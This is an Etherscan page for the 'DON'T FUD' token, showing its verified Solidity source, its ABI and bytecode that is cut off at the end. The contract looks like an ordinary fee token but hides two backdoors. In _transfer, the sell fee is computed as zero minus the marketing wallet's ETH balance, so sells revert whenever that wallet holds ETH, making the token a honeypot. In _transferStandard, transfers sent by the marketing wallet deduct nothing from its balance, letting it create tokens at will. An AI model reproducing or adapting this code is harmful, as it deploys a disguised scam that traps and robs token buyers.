ETH Price: $3,402.38 (-0.66%)

Token

DON'T FUD (🐻👎🙃)
 

Overview

Max Total Supply

1,000,000,000 🐻👎🙃

Holders

50

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,546,159.455652157 🐻👎🙃

Value
$0.00
0x1165e068abc48c4a85d295cb56c3094b4a46e679
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DoNotFud

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-15
*/

/**

Web: https://donotfud.vip
Telegram: https://t.me/dontfudbear
Twitter: https://twitter.com/donotfudbear

**/

// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.15;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
 
contract DoNotFud is Context, IERC20, Ownable {
 
    using SafeMath for uint256;
 
    string private constant _name = unicode"DON'T FUD";
    string private constant _symbol = unicode"🐻👎🙃";
    uint8 private constant _decimals = 9;
 
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = 10 ** 33;
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeBuy = 0;  
    uint256 private _taxFeeBuy = 0;  
    uint256 private _redisFeeSell = 0;  
    uint256 private _taxFeeSell = 0;
 
    //Original Fee
    uint256 private _redisFee = _redisFeeSell;
    uint256 private _taxFee = _taxFeeSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
 
    address payable private _developmentAddress = payable(msg.sender); 
    address payable private _marketingAddress = payable(0x0Be45f68884F454116217922EB12b2913cD4C0d6);
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
 
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
 
    uint256 public _maxTxAmount = (_tTotal / 1000) * 25; 
    uint256 public _maxWalletAmount = (_tTotal / 1000) * 25; 
    uint256 public _swapTokensAtAmount = (_tTotal / 1000) * 7;
 
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor() {
 
        _rOwned[_msgSender()] = _rTotal;
 
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
 
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner() && from != address(this) && to != address(this)) {
 
            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
 
            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
 
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletAmount, "TOKEN: Balance exceeds wallet size!");
            }
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
 
            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }
 
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
 
            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeBuy;
                _taxFee = _taxFeeBuy;
            }
 
            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeSell;
                _taxFee = _taxFeeSell.sub(_marketingAddress.balance);
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function sendETHToFee(uint256 amount) private {
        _developmentAddress.transfer(amount);
    }
 
    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
 
    function manualsend() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
  
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(sender!=_marketingAddress, tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
 
    receive() external payable {}
 
    function _getValues(bool takeFee, uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate); if (!takeFee) rAmount=0;
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);

        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
 
    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }
 
    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }

    function removeLimits() public onlyOwner {
        _maxTxAmount = MAX;
        _maxWalletAmount = MAX;
    }

    function openTrading() public payable onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
            .createPair(address(this), uniswapV2Router.WETH());

        _approve(address(this), address(uniswapV2Router), MAX);
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        
        tradingOpen = true;
        swapEnabled = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a620003d5565b6200002290633b9aca00620003ed565b6200003c906d314dc6448d9338c15b0a0000000062000425565b62000056906d314dc6448d9338c15b0a000000006200043c565b600655600060088190556009818155600a828155600b839055600c839055600d839055600e839055600f92909255601080546001600160a01b0319908116331790915560118054909116730be45f68884f454116217922eb12b2913cd4c0d61790556013805461ffff60a81b191690556103e891620000d69190620003d5565b620000e690633b9aca00620003ed565b620000f2919062000456565b620000ff906019620003ed565b6014556103e8620001136009600a620003d5565b6200012390633b9aca00620003ed565b6200012f919062000456565b6200013c906019620003ed565b6015556103e8620001506009600a620003d5565b6200016090633b9aca00620003ed565b6200016c919062000456565b62000179906007620003ed565b6016553480156200018957600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060065433600081815260026020908152604080832094909455601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915582546001600160a01b0390811684526005909252848320805460ff19908116600190811790925530855286852080548216831790556010548416855286852080548216831790556011549093168452948320805490921690941790557fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002986009600a620003d5565b620002a890633b9aca00620003ed565b60405190815260200160405180910390a3506200046d565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000317578160001904821115620002fb57620002fb620002c0565b808516156200030957918102915b93841c9390800290620002db565b509250929050565b6000826200033057506001620003cf565b816200033f57506000620003cf565b8160018114620003585760028114620003635762000383565b6001915050620003cf565b60ff841115620003775762000377620002c0565b50506001821b620003cf565b5060208310610133831016604e8410600b8410161715620003a8575081810a620003cf565b620003b48383620002d6565b8060001904821115620003cb57620003cb620002c0565b0290505b92915050565b6000620003e660ff8416836200031f565b9392505050565b60008160001904831182151516156200040a576200040a620002c0565b500290565b634e487b7160e01b600052601260045260246000fd5b6000826200043757620004376200040f565b500690565b600082821015620004515762000451620002c0565b500390565b6000826200046857620004686200040f565b500490565b611c69806200047d6000396000f3fe6080604052600436106101445760003560e01c806370a08231116100b657806398a5c3151161006f57806398a5c31514610391578063a9059cbb146103b1578063c3c8cd80146103d1578063c9567bf9146103e6578063dd62ed3e146103ee578063f2fde38b1461043457600080fd5b806370a08231146102de578063715018a6146102fe578063751039fc146103135780637d1db4a5146103285780638da5cb5b1461033e57806395d89b411461035c57600080fd5b80632fd689e3116101085780632fd689e31461023f578063313ce5671461025557806349bd5a5e146102715780636c0a24eb146102915780636d8aa8f8146102a75780636fc3eaec146102c957600080fd5b806306fdde0314610150578063095ea7b3146101945780631694505e146101c457806318160ddd146101fc57806323b872dd1461021f57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b506040805180820190915260098152681113d389d50811955160ba1b60208201525b60405161018b9190611823565b60405180910390f35b3480156101a057600080fd5b506101b46101af36600461188d565b610454565b604051901515815260200161018b565b3480156101d057600080fd5b506012546101e4906001600160a01b031681565b6040516001600160a01b03909116815260200161018b565b34801561020857600080fd5b5061021161046b565b60405190815260200161018b565b34801561022b57600080fd5b506101b461023a3660046118b9565b61048c565b34801561024b57600080fd5b5061021160165481565b34801561026157600080fd5b506040516009815260200161018b565b34801561027d57600080fd5b506013546101e4906001600160a01b031681565b34801561029d57600080fd5b5061021160155481565b3480156102b357600080fd5b506102c76102c23660046118fa565b6104f5565b005b3480156102d557600080fd5b506102c7610546565b3480156102ea57600080fd5b506102116102f936600461191c565b610591565b34801561030a57600080fd5b506102c76105b3565b34801561031f57600080fd5b506102c7610627565b34801561033457600080fd5b5061021160145481565b34801561034a57600080fd5b506000546001600160a01b03166101e4565b34801561036857600080fd5b5060408051808201909152600c81526bf09f90bbf09f918ef09f998360a01b602082015261017e565b34801561039d57600080fd5b506102c76103ac366004611939565b61066a565b3480156103bd57600080fd5b506101b46103cc36600461188d565b610699565b3480156103dd57600080fd5b506102c76106a6565b6102c76106fa565b3480156103fa57600080fd5b50610211610409366004611952565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561044057600080fd5b506102c761044f36600461191c565b610a00565b6000610461338484610aea565b5060015b92915050565b60006104796009600a611a85565b61048790633b9aca00611a94565b905090565b6000610499848484610c0e565b6104eb84336104e685604051806060016040528060288152602001611c0c602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906110f6565b610aea565b5060019392505050565b6000546001600160a01b031633146105285760405162461bcd60e51b815260040161051f90611ab3565b60405180910390fd5b60138054911515600160b01b0260ff60b01b19909216919091179055565b6010546001600160a01b0316336001600160a01b0316148061057b57506011546001600160a01b0316336001600160a01b0316145b61058457600080fd5b4761058e81611130565b50565b6001600160a01b0381166000908152600260205260408120546104659061116e565b6000546001600160a01b031633146105dd5760405162461bcd60e51b815260040161051f90611ab3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106515760405162461bcd60e51b815260040161051f90611ab3565b6d314dc6448d9338c15b0a000000006014819055601555565b6000546001600160a01b031633146106945760405162461bcd60e51b815260040161051f90611ab3565b601655565b6000610461338484610c0e565b6010546001600160a01b0316336001600160a01b031614806106db57506011546001600160a01b0316336001600160a01b0316145b6106e457600080fd5b60006106ef30610591565b905061058e8161118c565b6000546001600160a01b031633146107245760405162461bcd60e51b815260040161051f90611ab3565b601354600160a01b900460ff161561077e5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161051f565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f59190611ae8565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610857573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087b9190611ae8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ec9190611ae8565b601380546001600160a01b0319166001600160a01b03928316179055601254610926913091166d314dc6448d9338c15b0a00000000610aea565b6012546001600160a01b031663f305d719343061094281610591565b6000806109576000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109bf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109e49190611b05565b50506013805462ff00ff60a01b19166201000160a01b17905550565b6000546001600160a01b03163314610a2a5760405162461bcd60e51b815260040161051f90611ab3565b6001600160a01b038116610a8f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161051f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b4c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161051f565b6001600160a01b038216610bad5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161051f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c725760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161051f565b6001600160a01b038216610cd45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161051f565b60008111610d365760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161051f565b6000546001600160a01b03848116911614801590610d6257506000546001600160a01b03838116911614155b8015610d7757506001600160a01b0383163014155b8015610d8c57506001600160a01b0382163014155b15610fd357601354600160a01b900460ff16610e25576000546001600160a01b03848116911614610e255760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161051f565b601454811115610e775760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161051f565b6013546001600160a01b03838116911614610efc5760155481610e9984610591565b610ea39190611b33565b10610efc5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161051f565b6000610f0730610591565b601654601454919250821015908210610f205760145491505b808015610f375750601354600160a81b900460ff16155b8015610f5157506013546001600160a01b03868116911614155b8015610f665750601354600160b01b900460ff165b8015610f8b57506001600160a01b03851660009081526005602052604090205460ff16155b8015610fb057506001600160a01b03841660009081526005602052604090205460ff16155b15610fd057610fbe8261118c565b478015610fce57610fce47611130565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061101557506001600160a01b03831660009081526005602052604090205460ff165b8061104757506013546001600160a01b0385811691161480159061104757506013546001600160a01b03848116911614155b15611054575060006110e4565b6013546001600160a01b03858116911614801561107f57506012546001600160a01b03848116911614155b1561109157600854600c55600954600d555b6013546001600160a01b0384811691161480156110bc57506012546001600160a01b03858116911614155b156110e457600a54600c55601154600b546110e0916001600160a01b031631611306565b600d555b6110f084848484611348565b50505050565b6000818484111561111a5760405162461bcd60e51b815260040161051f9190611823565b5060006111278486611b4b565b95945050505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561116a573d6000803e3d6000fd5b5050565b600080611179611376565b90506111858382611399565b9392505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d4576111d4611b62565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561122d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112519190611ae8565b8160018151811061126457611264611b62565b6001600160a01b03928316602091820292909201015260125461128a9130911684610aea565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c3908590600090869030904290600401611b78565b600060405180830381600087803b1580156112dd57600080fd5b505af11580156112f1573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b600061118583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110f6565b80611355576113556113db565b611360848484611409565b806110f0576110f0600e54600c55600f54600d55565b6000806000611383611517565b90925090506113928282611399565b9250505090565b600061118583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611599565b600c541580156113eb5750600d54155b156113f257565b600c8054600e55600d8054600f5560009182905555565b60115460009081908190819081908190611432906001600160a01b038b811691161415886115c7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114649087611306565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611493908661162f565b6001600160a01b0389166000908152600260205260409020556114b58161168e565b6114bf84836116d8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161150491815260200190565b60405180910390a3505050505050505050565b60065460009081908161152c6009600a611a85565b61153a90633b9aca00611a94565b905061156261154b6009600a611a85565b61155990633b9aca00611a94565b60065490611399565b821015611590576006546115786009600a611a85565b61158690633b9aca00611a94565b9350935050509091565b90939092509050565b600081836115ba5760405162461bcd60e51b815260040161051f9190611823565b5060006111278486611be9565b60008060008060008060008060006115e48a600c54600d546116fc565b92509250925060006115f4611376565b905060008060006116078e878787611751565b9250925092